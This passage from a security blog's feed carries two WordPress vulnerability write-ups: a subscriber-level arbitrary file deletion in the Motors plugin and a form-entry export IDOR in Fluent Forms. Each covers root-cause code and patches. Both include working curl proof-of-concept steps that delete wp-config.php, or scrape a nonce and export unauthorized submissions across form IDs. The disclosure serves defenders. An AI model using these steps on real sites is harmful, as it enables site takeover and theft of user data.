&lt;p&gt;Deleting &lt;code&gt;wp-config.php&lt;/code&gt; is a common attack outcome. WordPress treats a missing &lt;code&gt;wp-config.php&lt;/code&gt; as a fresh install. This lets the attacker reconnect the site to an attacker-controlled database and gain full admin access.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Root Cause: Unvalidated Path Stored in User Meta&lt;/h3&gt;
&lt;p&gt;The plugin registers &lt;code&gt;stm_save_user_extra_fields()&lt;/code&gt; on the &lt;code&gt;personal_options_update&lt;/code&gt; hook (&lt;code&gt;includes/user-extra.php:358&lt;/code&gt;). This hook fires when any authenticated user saves their own profile at &lt;code&gt;/wp-admin/profile.php&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// includes/user-extra.php:358–371
add_action( &apos;personal_options_update&apos;, &apos;stm_save_user_extra_fields&apos; );
add_action( &apos;edit_user_profile_update&apos;, &apos;stm_save_user_extra_fields&apos; );

function stm_save_user_extra_fields( $user_id ) {
    if ( ! current_user_can( &apos;edit_user&apos;, $user_id ) ) {
        return false;
    }
    // nonce check: update-user_&amp;lt;user_id&amp;gt;
    if ( ! isset( $_POST[&apos;_wpnonce&apos;] ) || ! wp_verify_nonce( $_POST[&apos;_wpnonce&apos;], &apos;update-user_&apos; . $user_id ) ) {
        return false;
    }
    // ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The authorization check &lt;code&gt;current_user_can(&apos;edit_user&apos;, $user_id)&lt;/code&gt; passes for any user editing their own profile — including subscribers.&lt;/p&gt;
&lt;p&gt;Further down, the handler saves &lt;code&gt;stm_dealer_logo_path&lt;/code&gt; from POST data directly to user meta with no path validation:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// includes/user-extra.php:437–439
if ( isset( $_POST[&apos;stm_dealer_logo_path&apos;] ) ) {
    update_user_meta( $user_id, &apos;stm_dealer_logo_path&apos;, sanitize_text_field( wp_unslash( $_POST[&apos;stm_dealer_logo_path&apos;] ) ) );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;sanitize_text_field()&lt;/code&gt; strips HTML tags and extra whitespace. It does not restrict filesystem paths. The attacker can supply any path, such as &lt;code&gt;/var/www/html/wp-config.php&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Trigger: Arbitrary File Deletion via Logo Upload&lt;/h3&gt;
&lt;p&gt;The attacker-controlled path is used by the become-dealer template (&lt;code&gt;templates/user/private/become-dealer.php:156–168&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// templates/user/private/become-dealer.php:156–168
$user_old_avatar = get_the_author_meta( &apos;stm_dealer_logo_path&apos;, $user_id );
if ( ! empty( $user_old_avatar )
    &amp;amp;&amp;amp; $user_new_image_path !== $user_old_avatar
    &amp;amp;&amp;amp; file_exists( $user_old_avatar ) ) {

    $args     = array(
        &apos;meta_key&apos;     =&amp;gt; &apos;stm_dealer_logo_path&apos;,
        &apos;meta_value&apos;   =&amp;gt; $user_old_avatar,
        &apos;meta_compare&apos; =&amp;gt; &apos;=&apos;,
        &apos;exclude&apos;      =&amp;gt; array( $user_id ),
    );
    $users_db = get_users( $args );
    if ( empty( $users_db ) ) {
        unlink( $user_old_avatar );   // ← arbitrary file deleted here
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When the user submits a new logo via the become-dealer form, the plugin:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Reads the path stored in &lt;code&gt;stm_dealer_logo_path&lt;/code&gt; user meta.&lt;/li&gt;
&lt;li&gt;Checks that the file exists with &lt;code&gt;file_exists()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Checks that no other user references the same path.&lt;/li&gt;
&lt;li&gt;Calls &lt;code&gt;unlink()&lt;/code&gt; on the path — with no check that it is within the uploads directory.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Why the Nonce Does Not Prevent Exploitation&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;update-user_&amp;lt;user_id&amp;gt;&lt;/code&gt; nonce is a standard WordPress nonce embedded in the profile edit form at &lt;code&gt;/wp-admin/profile.php&lt;/code&gt;. Any subscriber who can log in can obtain this nonce by loading their own profile page. This is a CSRF token, not an authentication gate.&lt;/p&gt;
&lt;h3&gt;Admin UI Exposure&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;stm_dealer_logo_path&lt;/code&gt; field is also rendered as an editable text input in the admin profile UI (&lt;code&gt;includes/user-extra.php:276–279&lt;/code&gt;), visible to all users who access &lt;code&gt;/wp-admin/profile.php&lt;/code&gt;. This makes it trivially easy to set the malicious path without crafting a raw HTTP request.&lt;/p&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This proof of concept is for educational and authorized testing purposes only. Do not use this against systems you do not own or have explicit permission to test.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Prerequisites:&lt;/strong&gt; WordPress site running Motors plugin &amp;lt;= 1.4.107. Subscriber-level account.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1 — Set the malicious path via the admin profile page.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Log in as the subscriber. Navigate to &lt;code&gt;/wp-admin/profile.php&lt;/code&gt;. The page includes hidden inputs including the &lt;code&gt;_wpnonce&lt;/code&gt; token. Copy the nonce value, then send:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Replace &amp;lt;NONCE&amp;gt;, &amp;lt;USER_ID&amp;gt;, and &amp;lt;TARGET_FILE&amp;gt; with real values.
curl -s -X POST &apos;https://target.example.com/wp-admin/profile.php&apos; \
  -b &apos;wordpress_logged_in_&amp;lt;hash&amp;gt;=&amp;lt;cookie&amp;gt;&apos; \
  -d &apos;_wpnonce=&amp;lt;NONCE&amp;gt;&apos; \
  -d &apos;action=update&apos; \
  -d &apos;_wp_http_referer=%2Fwp-admin%2Fprofile.php&apos; \
  -d &apos;user_id=&amp;lt;USER_ID&amp;gt;&apos; \
  -d &apos;stm_dealer_logo_path=/var/www/html/wp-config.php&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This saves &lt;code&gt;/var/www/html/wp-config.php&lt;/code&gt; as the subscriber&apos;s &lt;code&gt;stm_dealer_logo_path&lt;/code&gt; user meta.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2 — Trigger deletion by uploading a new dealer logo.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Submit the become-dealer form with a valid image file. The plugin reads the stored path from user meta and calls &lt;code&gt;unlink()&lt;/code&gt; on it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -X POST &apos;https://target.example.com/become-a-dealer/&apos; \
  -b &apos;wordpress_logged_in_&amp;lt;hash&amp;gt;=&amp;lt;cookie&amp;gt;&apos; \
  -F &apos;stm_company_name=Test Company&apos; \
  -F &apos;stm_licence=12345&apos; \
  -F &apos;stm_location=New York&apos; \
  -F &apos;stm-avatar=@/tmp/test-logo.jpg;type=image/jpeg&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3 — Verify.&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -o /dev/null -w &apos;%{http_code}&apos; &apos;https://target.example.com/&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If &lt;code&gt;wp-config.php&lt;/code&gt; was deleted, WordPress returns the installation wizard at &lt;code&gt;/wp-admin/setup-config.php&lt;/code&gt;. The site is now fully compromised.&lt;/p&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;p&gt;Version 1.4.108 fixes the vulnerability in two places.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix 1 — Path validation before saving to user meta (&lt;code&gt;includes/user-extra.php:442–455&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-if ( isset( $_POST[&apos;stm_dealer_logo_path&apos;] ) ) {
-    update_user_meta( $user_id, &apos;stm_dealer_logo_path&apos;, sanitize_text_field( wp_unslash( $_POST[&apos;stm_dealer_logo_path&apos;] ) ) );
-}
+if ( isset( $_POST[&apos;stm_dealer_logo_path&apos;] ) ) {
+    $raw_path = sanitize_text_field( wp_unslash( $_POST[&apos;stm_dealer_logo_path&apos;] ) );
+    if ( apply_filters( &apos;stm_mvl_is_path_within_uploads&apos;, false, $raw_path ) ) {
+        update_user_meta( $user_id, &apos;stm_dealer_logo_path&apos;, $raw_path );
+    }
+}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The new &lt;code&gt;stm_mvl_is_path_within_uploads&lt;/code&gt; filter calls &lt;code&gt;stm_mvl_is_path_within_uploads()&lt;/code&gt; in &lt;code&gt;includes/helpers.php:1308&lt;/code&gt;. It resolves the real path with &lt;code&gt;realpath()&lt;/code&gt; and rejects any path that does not start with the WordPress uploads base directory.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// includes/helpers.php:1308–1325
function stm_mvl_is_path_within_uploads( $path ) {
    if ( ! is_string( $path ) || &apos;&apos; === trim( $path ) ) {
        return true;
    }
    $path = trim( $path );
    $dir  = wp_upload_dir();
    if ( ! empty( $dir[&apos;error&apos;] ) ) {
        return false;
    }
    $upload_basedir = $dir[&apos;basedir&apos;];
    $real_upload    = realpath( $upload_basedir );
    $real_path      = realpath( $path );
    if ( false === $real_upload || false === $real_path ) {
        return false;
    }
    return 0 === strpos( $real_path . DIRECTORY_SEPARATOR, $real_upload . DIRECTORY_SEPARATOR );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Because &lt;code&gt;realpath()&lt;/code&gt; resolves symlinks and removes &lt;code&gt;../&lt;/code&gt; components, this check prevents directory traversal.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix 2 — Redundant guard at the deletion point (&lt;code&gt;templates/user/private/become-dealer.php:167&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-if ( empty( $users_db ) ) {
+if ( empty( $users_db ) &amp;amp;&amp;amp; apply_filters( &apos;stm_mvl_is_path_within_uploads&apos;, false, $user_old_avatar ) ) {
     unlink( $user_old_avatar );
 }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Even if user meta already contains a malicious path (from before the update), &lt;code&gt;unlink()&lt;/code&gt; is now blocked for paths outside the uploads directory.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix 3 — UI fields hidden from non-admins (&lt;code&gt;includes/user-extra.php:278–283&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The path input fields are now wrapped in &lt;code&gt;current_user_can(&apos;edit_users&apos;)&lt;/code&gt;, so subscribers no longer see or interact with them in the admin UI.&lt;/p&gt;
&lt;p&gt;The same three-part fix is applied to &lt;code&gt;stm_user_avatar_path&lt;/code&gt; and &lt;code&gt;stm_dealer_image_path&lt;/code&gt; as well.&lt;/p&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;May 13, 2026&lt;/td&gt;
&lt;td&gt;Wordfence advisory published&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 13, 2026&lt;/td&gt;
&lt;td&gt;Version 1.4.108 released with the fix&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 14, 2026&lt;/td&gt;
&lt;td&gt;This blog post published&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update Motors – Car Dealership &amp;amp; Classified Listings Plugin to &lt;strong&gt;version 1.4.108 or later&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Go to &lt;strong&gt;WordPress Admin → Plugins → Installed Plugins&lt;/strong&gt;, find the Motors plugin, and click &lt;strong&gt;Update Now&lt;/strong&gt;. Or download the patched version directly from &lt;a href=&quot;https://wordpress.org/plugins/motors-car-dealership-classified-listings/&quot;&gt;wordpress.org&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/motors-car-dealership-classified-listings/motors-car-dealer-classifieds-listing-14107-authenticated-subscriber-arbitrary-file-deletion-via-stm-dealer-logo-path-parameter&quot;&gt;Wordfence Advisory — CVE-2026-3892&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3892&quot;&gt;CVE-2026-3892 on cve.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/motors-car-dealership-classified-listings/&quot;&gt;Motors Plugin on wordpress.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/log/motors-car-dealership-classified-listings/&quot;&gt;Plugin Trac — Commit history&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-05-12T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-5395: Fluent Forms &lt;= 6.2.0 IDOR Exposes Form Entries (CVSS 8.2)</title><link>https://hurayraiit.com/blog/cve-2026-5395-fluent-forms-idor-exposes-form-entries/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-5395-fluent-forms-idor-exposes-form-entries/</guid><description>CVE-2026-5395 (CVSS 8.2) is an IDOR in Fluent Forms &lt;= 6.2.0. Authenticated users can bypass per-form access controls and export any form&apos;s submissions.</description><pubDate>Mon, 11 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-5395&lt;/strong&gt; is a &lt;strong&gt;CVSS 8.2 High severity&lt;/strong&gt; Authorization Bypass vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/fluentform/&quot;&gt;Fluent Forms&lt;/a&gt; WordPress plugin. An authenticated attacker with Fluent Forms entries viewer access can bypass per-form access restrictions and export submissions from any form on the site — including forms they are not authorized to view.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Fluent Forms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;fluentform&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-5395&quot;&gt;CVE-2026-5395&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;8.2 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Insecure Direct Object Reference (IDOR) / Authorization Bypass&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/fluentform.6.2.0.zip&quot;&gt;&amp;lt;= 6.2.0&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/fluentform.6.2.1.zip&quot;&gt;6.2.1&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;May 13, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/sander-horsman&quot;&gt;Sander Horsman - Conda Security&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/fluentform/fluent-forms-620-authenticated-subscriber-authorization-bypass-via-table-parameter&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;Fluent Forms supports per-form access control. An administrator can grant a user access to view entries for specific forms only, not all forms on the site. This feature is designed to let different team members manage different forms in isolation.&lt;/p&gt;
&lt;p&gt;In versions up to and including 6.2.0, this per-form access control was not enforced in the entry export function. The &lt;code&gt;exportEntries()&lt;/code&gt; function in &lt;code&gt;TransferService.php&lt;/code&gt; did not verify that the requesting user had permission to access the specific form&apos;s entries. Any user with the general &lt;code&gt;fluentform_entries_viewer&lt;/code&gt; capability could export entries from any form — including forms they were explicitly restricted from accessing.&lt;/p&gt;
&lt;p&gt;The vulnerability is an Insecure Direct Object Reference (IDOR). The attacker controls the &lt;code&gt;form_id&lt;/code&gt; parameter. Without a form-level authorization check, they can substitute any form ID and receive the corresponding submissions.&lt;/p&gt;
&lt;p&gt;A second issue in the same code path allowed the list of queryable database tables to be extended via a WordPress filter hook. By default only &lt;code&gt;fluentform_submissions&lt;/code&gt; was in the list, but a malicious plugin could add additional tables using the &lt;code&gt;fluentform/export_allowed_tables&lt;/code&gt; filter. The patch removes this filter and hardcodes the allowed tables.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;How Fluent Forms Registers the Export AJAX Action&lt;/h3&gt;
&lt;p&gt;The entry export endpoint is a standard WordPress admin AJAX action. In &lt;code&gt;app/Hooks/Ajax.php&lt;/code&gt;, the hook is registered like this in version 6.2.0:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$app-&amp;gt;addAction(&apos;wp_ajax_fluentform-form-entries-export&apos;, function () use ($app) {
    Acl::verify(&apos;fluentform_entries_viewer&apos;);
    (new \FluentForm\App\Modules\Transfer\Transfer())-&amp;gt;exportEntries();
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;Acl::verify(&apos;fluentform_entries_viewer&apos;)&lt;/code&gt; call checks whether the current user has the general entries-viewer capability. It does NOT receive a &lt;code&gt;$formId&lt;/code&gt; argument.&lt;/p&gt;
&lt;p&gt;When no form ID is passed to &lt;code&gt;Acl::verify()&lt;/code&gt;, the underlying &lt;code&gt;Acl::hasPermission()&lt;/code&gt; function skips the &lt;code&gt;FormManagerService::hasFormPermission()&lt;/code&gt; check entirely. Per-form access restrictions are never evaluated:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public static function hasPermission($permissions, $formId = false)
{
    if ($formId &amp;amp;&amp;amp; !FormManagerService::hasFormPermission($formId)) {
        return false; // This check is skipped when $formId is false/null
    }
    // ...general capability check continues
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;The Vulnerable &lt;code&gt;exportEntries()&lt;/code&gt; Function&lt;/h3&gt;
&lt;p&gt;In &lt;code&gt;app/Services/Transfer/TransferService.php&lt;/code&gt; (line 141–147), the vulnerable code reads the &lt;code&gt;form_id&lt;/code&gt; from user input with no authorization check:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public static function exportEntries($args)
{
    if (!defined(&apos;FLUENTFORM_EXPORTING_ENTRIES&apos;)) {
        define(&apos;FLUENTFORM_EXPORTING_ENTRIES&apos;, true);
    }
    $formId = (int)Arr::get($args, &apos;form_id&apos;); // user-controlled, no form-level auth check
    $tableName = Arr::get($args, &apos;table&apos;);     // user-controlled table parameter
    // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Any &lt;code&gt;form_id&lt;/code&gt; the attacker provides is cast to an integer and accepted. There is no call to &lt;code&gt;Acl::verifyFormId()&lt;/code&gt; or &lt;code&gt;Acl::verify(&apos;fluentform_entries_viewer&apos;, $formId)&lt;/code&gt; inside &lt;code&gt;exportEntries()&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;The &lt;code&gt;table&lt;/code&gt; Parameter and Filterable Allowlist&lt;/h3&gt;
&lt;p&gt;When a &lt;code&gt;table&lt;/code&gt; parameter is present, &lt;code&gt;getSubmissions()&lt;/code&gt; queries that table directly instead of using the &lt;code&gt;Submission&lt;/code&gt; model:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private static function getSubmissions($args)
{
    $tableName = Arr::get($args, &apos;table&apos;);

    if ($tableName) {
        $allowedTables = apply_filters(&apos;fluentform/export_allowed_tables&apos;, [
            &apos;fluentform_submissions&apos;,
        ]);
        if (!in_array($tableName, $allowedTables, true)) {
            wp_send_json([&apos;message&apos; =&amp;gt; &apos;Invalid table name for export.&apos;], 422);
        }
        $query = wpFluent()-&amp;gt;table($tableName)
            -&amp;gt;where(&apos;form_id&apos;, (int) Arr::get($args, &apos;form_id&apos;))
            // ...
    } else {
        $query = (new Submission)-&amp;gt;customQuery($args);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two problems here:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The table name is wrapped in &lt;code&gt;apply_filters()&lt;/code&gt;. Any plugin or code can add tables to this list. A malicious plugin could call &lt;code&gt;add_filter(&apos;fluentform/export_allowed_tables&apos;, fn($t) =&amp;gt; array_merge($t, [&apos;wp_users&apos;]))&lt;/code&gt; to add the users table.&lt;/li&gt;
&lt;li&gt;Even within the &lt;code&gt;fluentform_submissions&lt;/code&gt; table path, the missing form-level authorization in &lt;code&gt;exportEntries()&lt;/code&gt; means an attacker can query submissions from any form.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Execution Path Summary&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;POST /wp-admin/admin-ajax.php
  action=fluentform-form-entries-export
  form_id=&amp;lt;any_form_id&amp;gt;           ← attacker-controlled
  fluent_forms_admin_nonce=&amp;lt;nonce&amp;gt;

  wp_ajax_fluentform-form-entries-export
    └── Acl::verify(&apos;fluentform_entries_viewer&apos;)  ← no $formId, per-form check skipped
    └── Transfer()-&amp;gt;exportEntries()
          └── TransferService::exportEntries($args)
                └── $formId = (int)Arr::get($args, &apos;form_id&apos;)  ← no auth check
                └── $tableName = Arr::get($args, &apos;table&apos;)
                └── getSubmissions($args)  ← returns entries from attacker-specified form
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Why the Nonce Does Not Prevent This Attack&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Acl::verify()&lt;/code&gt; calls &lt;code&gt;verifyNonce()&lt;/code&gt; first. The nonce (&lt;code&gt;fluent_forms_admin_nonce&lt;/code&gt;) is embedded in every Fluent Forms admin page via &lt;code&gt;wp_localize_script&lt;/code&gt;. Any user with any Fluent Forms access can retrieve this nonce from the admin page&apos;s JavaScript variables. The nonce proves the request originated from the admin UI, not that the user is authorized for the specific form.&lt;/p&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational purposes only. Test only on systems you own or have explicit written authorization to test.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Prerequisites:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WordPress site running Fluent Forms &amp;lt;= 6.2.0&lt;/li&gt;
&lt;li&gt;Attacker has a WordPress account with &lt;code&gt;fluentform_entries_viewer&lt;/code&gt; capability granted (access to Form #1 only)&lt;/li&gt;
&lt;li&gt;Target: Form #2 (attacker is NOT authorized to view its entries)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Step 1 — Authenticate and get session cookie:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -c cookies.txt -b cookies.txt \
  &quot;https://target.com/wp-login.php&quot; \
  --data &quot;log=subscriber_user&amp;amp;pwd=subscriber_pass&amp;amp;rememberme=forever&amp;amp;wp-submit=Log+In&amp;amp;testcookie=1&quot; \
  -e &quot;https://target.com/wp-login.php&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2 — Retrieve the Fluent Forms admin nonce:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NONCE=$(curl -s -b cookies.txt \
  &quot;https://target.com/wp-admin/admin.php?page=fluent_forms&quot; \
  | grep -o &apos;&quot;fluent_forms_admin_nonce&quot;:&quot;[^&quot;]*&quot;&apos; \
  | cut -d&apos;&quot;&apos; -f4)

echo &quot;Nonce: $NONCE&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3 — Export entries from an unauthorized form (form_id=2):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s -b cookies.txt \
  &quot;https://target.com/wp-admin/admin-ajax.php&quot; \
  --data &quot;action=fluentform-form-entries-export&amp;amp;form_id=2&amp;amp;format=csv&amp;amp;fluent_forms_admin_nonce=${NONCE}&quot; \
  -o stolen_entries_form2.csv

echo &quot;Exported rows: $(wc -l &amp;lt; stolen_entries_form2.csv)&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Expected result:&lt;/strong&gt; The server responds with a CSV file containing all submissions from Form #2, even though the attacker only has explicit access to Form #1.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4 — Enumerate other forms:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for FORM_ID in $(seq 1 20); do
  ROW_COUNT=$(curl -s -b cookies.txt \
    &quot;https://target.com/wp-admin/admin-ajax.php&quot; \
    --data &quot;action=fluentform-form-entries-export&amp;amp;form_id=${FORM_ID}&amp;amp;format=csv&amp;amp;fluent_forms_admin_nonce=${NONCE}&quot; \
    | wc -l)
  echo &quot;Form $FORM_ID: $ROW_COUNT rows&quot;
done
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;p&gt;The fix in version 6.2.1 adds two authorization calls at the top of &lt;code&gt;exportEntries()&lt;/code&gt; in &lt;code&gt;app/Services/Transfer/TransferService.php&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-        $formId = (int)Arr::get($args, &apos;form_id&apos;);
+
+        $formId = Acl::verifyFormId(Arr::get($args, &apos;form_id&apos;));
+        Acl::verify(&apos;fluentform_entries_viewer&apos;, $formId);
+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Acl::verifyFormId()&lt;/code&gt; validates that the &lt;code&gt;form_id&lt;/code&gt; is a legitimate integer and exists. &lt;code&gt;Acl::verify(&apos;fluentform_entries_viewer&apos;, $formId)&lt;/code&gt; passes the form ID to the permission check. This triggers &lt;code&gt;FormManagerService::hasFormPermission($formId)&lt;/code&gt;, which verifies that the current user&apos;s allowed form list includes the requested form.&lt;/p&gt;
&lt;p&gt;The second change removes the filterable allowlist for export tables:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-            $allowedTables = apply_filters(&apos;fluentform/export_allowed_tables&apos;, [
+            $allowedTables = [
                 &apos;fluentform_submissions&apos;,
-            ]);
+                &apos;fluentform_draft_submissions&apos;,
+            ];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The hardcoded list also adds &lt;code&gt;fluentform_draft_submissions&lt;/code&gt; as a legitimate table for draft submission exports, while removing the filter hook that allowed external code to inject arbitrary table names.&lt;/p&gt;
&lt;p&gt;The AJAX hook in &lt;code&gt;Ajax.php&lt;/code&gt; also gets updated to validate and normalize the form ID before passing it into the handler:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; $app-&amp;gt;addAction(&apos;wp_ajax_fluentform-form-entries-export&apos;, function () use ($app) {
-    Acl::verify(&apos;fluentform_entries_viewer&apos;);
+    $formId = Acl::verifyFormId($app-&amp;gt;request-&amp;gt;get(&apos;form_id&apos;));
+
+    Acl::verify(&apos;fluentform_entries_viewer&apos;, $formId);
     (new \FluentForm\App\Modules\Transfer\Transfer())-&amp;gt;exportEntries();
 });
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
